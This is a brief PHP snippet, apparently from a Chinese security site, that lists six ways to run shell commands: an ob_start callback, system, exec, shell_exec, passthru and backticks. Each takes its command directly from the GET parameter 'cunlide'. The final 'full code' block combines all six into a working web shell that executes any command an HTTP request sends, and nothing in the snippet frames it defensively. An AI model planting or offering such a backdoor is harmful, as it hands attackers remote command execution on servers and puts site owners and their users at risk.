c4bbage@qq.com 2012.09.17 0x1 ob_start 1 <?php 2 //http://php.net/manual/en/function.ob-start.php
3 $cmd="system"; 4 ob_start($cmd); 5 echo "$_GET[cunlide]"; 6 ob_end_flush(); 0x2 system 1 //http://php.net/manual/en/function.system.php
2 system("$_GET[cunlide]"); 0x3 exec 1 //http:// www.2cto.com /manual/en/function.exec.php
2 echo exec("$_GET[cunlide]") 0x4 shell_exec 1 //http://php.net/manual/en/function.shell-exec.php
2 echo shell_exec("$_GET[cunlide]"); 0x5 passthru 1 //http://php.net/manual/en/function.passthru.php
2 echo passthru("$_GET[cunlide]"); 0x6 `` 1 echo `$_GET[cunlide]`; 2 ?> 整体代码 01 <?php 02 $cmd="system"; 03 ob_start($cmd); 04 echo "$_GET[cunlide]"; 05 ob_end_flush(); 06 echo "<br>"; 07 system("$_GET[cunlide]"); 08 echo "<br>"; 09 echo exec("$_GET[cunlide]"); 10 echo "<br>"; 11 echo shell_exec("$_GET[cunlide]"); 12 echo "<br>"; 13 echo passthru("$_GET[cunlide]"); 14 echo "<br>"; 15 echo `$_GET[cunlide]`; 16 ?>
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